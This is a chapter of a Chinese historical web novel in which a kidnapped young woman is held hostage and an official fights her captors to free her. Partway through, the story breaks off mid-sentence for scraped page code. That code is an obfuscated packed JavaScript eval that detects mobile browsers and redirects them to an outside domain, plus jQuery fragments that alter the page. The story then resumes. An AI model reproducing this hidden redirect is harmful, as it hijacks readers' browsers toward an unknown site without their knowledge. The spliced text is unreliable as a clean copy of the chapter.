“啪嗒……啪嗒……”
脚步声由远及近传来。
听到动静,双眼被缚的解相思微不可查的往里缩了缩,可下一秒,脚步声急速靠近,耳旁“哐当”一震,她整个人被人掐着脖子抵在了墙上。
后背重重地磕上身后的墙,剧烈的冲击震得她胸腔一阵闷疼。
一息之间,一道带着血腥味的气息将她包围。
来人用手抵着她的脖子,解相思只觉得快要窒息。
隔着眼前乌黑的布条,解相思竭力睁大眼,试图看清对面的人。脖颈被人狠狠压着,她说不出话,只能从喉间呓语般发出一两声模糊的嘶声。
“你……是……谁……?”
来人不语,只是那压在解相思脖颈上的手微微松了松,转而掐住她的下巴,将一瓶药灌了下去。
片刻后,解相思挣扎的力道小了下去。
失去意识的前一刻,她还有些不合时宜的想,这两年她还真是倒霉神附身,不是在倒霉,就是在倒霉的路上。
……
与此同时,客栈内的周砚之踏着血水,一步步走到客栈外,抬手将吴钩郎放飞。
下一刻,一阵高昂的鹰唳划破长空。
风雨欲来。
片刻后,季风领着一队人出现在周砚之面前,见他黑衣染血的模样,着实吃了一惊,垂首拱手道:“大人。”
抹去眉间的血珠,周砚之平静道:“表小姐被人绑走,现在都去找。”
听到这语气,季风心一惊,忍不住抬眸望向周砚之,只见他脸上是一片骇人的冷厉,连忙应声道:“是!”
忽然,一道小小的身影自空中而下。
吴钩郎衔着一片碎布自高空飞速落下,周砚之取下,眉心忍不住蹙了蹙,望向吴钩郎道:“在哪看到的?”
这块布是纱布,上面还有血渍,应当是解相思从左腕取下的。
吴钩郎小眼睛一转,低声“咕咕”两声,随后振翅而飞,时不时还回头朝周砚之看两眼示意他跟上。
片刻后,一行人停在刺史府前。
抬眼看着面前的牌匾,周砚之眼底一片肃杀,稍一抬手,除了季风,其他人迅速围到刺史府各方。
两人相视一眼,季风握刀上前,叩门扬声道:“开门!京城来使到!”
无人应答。
几息后之,一柄刀从门缝中插入,径直将那门闩挑开。季风一脚踹开大门,周砚之快步走进刺史府。
檐下的灯笼一明一暗,在风中不断摇晃。
周砚之提刀在府内环视了一圈,心中那股怪异的感觉不断上升,他们一行人闯进来的声音不算小,可自始自终,这刺史府却没有一个人出面。
静。
太静了……
蓦地,风声起。
周围的房檐上忽然冒出多个手持弓弩的黑衣人。
“小心!”
周砚之将身旁的季风推到门房下,反手挥刀打落从四面八方射来的箭矢,一时间,乒乒乓乓的金属声不绝于耳。
挥落最后一只箭,一声女子的痛呼声自高出传来,闻声,周砚之猛地抬眸望向刺史府中的高楼,厉声喝道:“出来!”
话音落下,只见那高台之上赫然出现一道女子的身影。
解相思双手被人缚在身后,双眼还是黑布蒙着,右肩上赫然插着一只箭,右侧衣衫被染得一片血红。
不知道那人给她喂了什么,她只觉得自己现在浑身发冷,像是掉进冰窖一样。
因为痛极,解相思脖颈上青筋暴起,连呼吸一下都是钻心的痛。因为看不见,她只能循着声音传来的方向望去,朝那人艰难地摇头。
别……过来……
看着她这副模样,周砚之瞳孔骤缩,正要上前,可下一秒,一支利箭落在他脚下,一道阴恻恻的声音传来。
“周大人。”
周砚之定定地望向高台,冷声道:“张煦。”
一道黑影自暗处走出,在昏暗火光的映射下,张煦唇角微勾,此情此景,显得他整个人越发骇人,像传说中吃人的恶鬼。
冰冷的箭头划在解相思脖颈上,寒凉的触感激得她忍不住向后微缩,可身后的空间却又被人占住,进退不得。
望着底下的人,张煦微微抬头,向下睨着的眼中满是得意。
“周大人,你可还记得我?”
周砚之不语。
他从未见过此人,何来记得不记得一说?
见周砚之眼里满是陌生,张煦脸上的笑挂不住了,嘴角逐渐放平,眼里漫上一层阴翳,开口缓缓道:“看来周大人是不记得了,还真是贵人多忘事啊。”
周砚之开口:“你要做什么?”
闻言,张煦冷哼一声,慢条斯理道:“不做什么。”
他微微抬手,下一刻,铺天盖地的箭雨再次袭来。
“大人!”
季风赶忙上前和周砚之一起击落那些箭矢,可尽管如此,两人的力量还是太过微弱,难免受了伤。
伴随着刀尖相接的声音,先前散落在刺史府各地的人被人丢了进来,所有人瘫在地上止不住地颤抖。
“大人……”
张煦手一抬,刺史府的大门被人“砰”的一声关上。
“帮你解决了这些人,张煦,这次你要怎么谢我?”出声的人走近,露出一张温润如玉的面庞。
翩翩公子,身形颀长,芝兰玉树。
看着渐渐走近的人,周砚之语气冷得像块冰。
“宋白钰。”
一身白袍的宋白钰缓步走到周砚之面前,对他行了个礼,温声道:“周大人。”
言行举止礼貌至极,倒是让旁人挑不出一点毛病,若不是周砚之长了脑子,或许会真的被他这副模样骗过去。
不动声色的将人上下扫视一眼,周砚之蓦地心一沉。
按理来说,他现在不应该出现在这里才是,难道,是苏豊出了事?
不待他细想,高台之上的张煦开口回道:“你想要什么?”
宋白钰抬眸,不卑不亢道:“我要你将今年儋州的赋税调低,百姓不易,我们为官的不要再搜刮民脂民膏了。”
这样一句话,听的在场的大部分人都是一脸懵。
他不是坏人吗?现在又在这装什么好人?
张煦倒是没什么反应,像是对此早就习
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260271|179637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
惯一样,颔首道:“可以。”随后,他又开口道:“我的事你不许管。”
宋白钰欣然颔首,“这是自然。”随后他缓步走到一边,对着张煦比了个“请”的手势,“你随意。”
见人走开,张煦推着解相思走下高台,看着不远处狼狈的周砚之,他嗤笑道:“没想到光风霁月的周大人也有今天。”
见他想要上前来抢解相思,张煦微微后撤,一只弓弩箭轻轻抵在女子纤细的脖颈上,而拿着弓弩的人却露出一个恶劣的笑,“想要她活,就不许上前。”
闻言,周砚之步子一顿,停在原地。
视线扫过地上的人,随后落在张煦身前的人身上,开口道:“要怎么样,你才肯放过他们?”
张煦眉梢一挑,目光落在他膝盖上,道:“跪下。”
“不行!”季风急忙上前护在周砚之身前,啐道:“你算什么东西?!”
闻言,张煦不耐烦的“啧”了一声,下一刻,地上正在颤抖的一人被利剑刺穿心口,只是一瞬便没了声息。
闻声望去,周砚之嘴角抿成一条直线。
见他不动,张煦再次抬手,随着“噗呲”一声响,又有一人被杀害。
“周大人还真是冷血,他们跟了你这么久,你居然不肯放下面子救他们,我真是为他们感到……”
“我跪。”
打断他说话,周砚之嘴角一扯,抬起眼帘直勾勾的看向张煦,“咚”的一声,他左膝重重磕在地上。
正要落下右膝时,一道声音传来。
“大人,不能跪!”
一个满脸覆血的人摇摇晃晃地站起身,对上周砚之投来的视线笑着道:“昭化三十八年,我上京做工,被人欺负时,是大人帮我讨回公道,家中出事时,是大人帮我安置幼妹和老母,从此以后,我便一直跟着大人。”
说到这,他眼眶微微泛红,“大人的恩情我无以回报,此刻是绝不可能看着大人受奸人胁迫。”
说罢,他忽然拔起地上的一枚箭矢就朝张煦飞去,可下一秒,一道冷箭却自他眉心穿出,顷刻间便夺走了他的生息。
出手的宋白钰放下弓弩,对上众人投来的视线,颔首着温声道:“抱歉。”
张煦咬牙,“你乱动什么手!”
果不其然,似乎被这一箭刺激到,地上的人骤然暴起,朝着张煦和宋白钰冲去。
“艹!大家一起上!为大人和兄弟们报仇!”
“我不要当孬种!”
“……”
周砚之也迅速起身,拔剑砍了迎面袭来的黑衣人。
一时间,场面又混乱起来。
趁这个机会,解相思也迅速朝后一踢,感受到什么,她眼里闪过一丝惊讶。
可顾不得那么多,她狠下心,随着一声骨骼的轻响,她猛地抽出右手,从袖中抖落一只信号弹,咬牙将引线拉开。
“砰!”
随着一声巨响,一朵绚烂的烟花在夜空中炸开。
随后,身子被人猛地抱住,解相思下意识地挣扎了两下,耳旁传来周砚之焦急的声音。
“别怕,是我。”
“别怕……别怕……”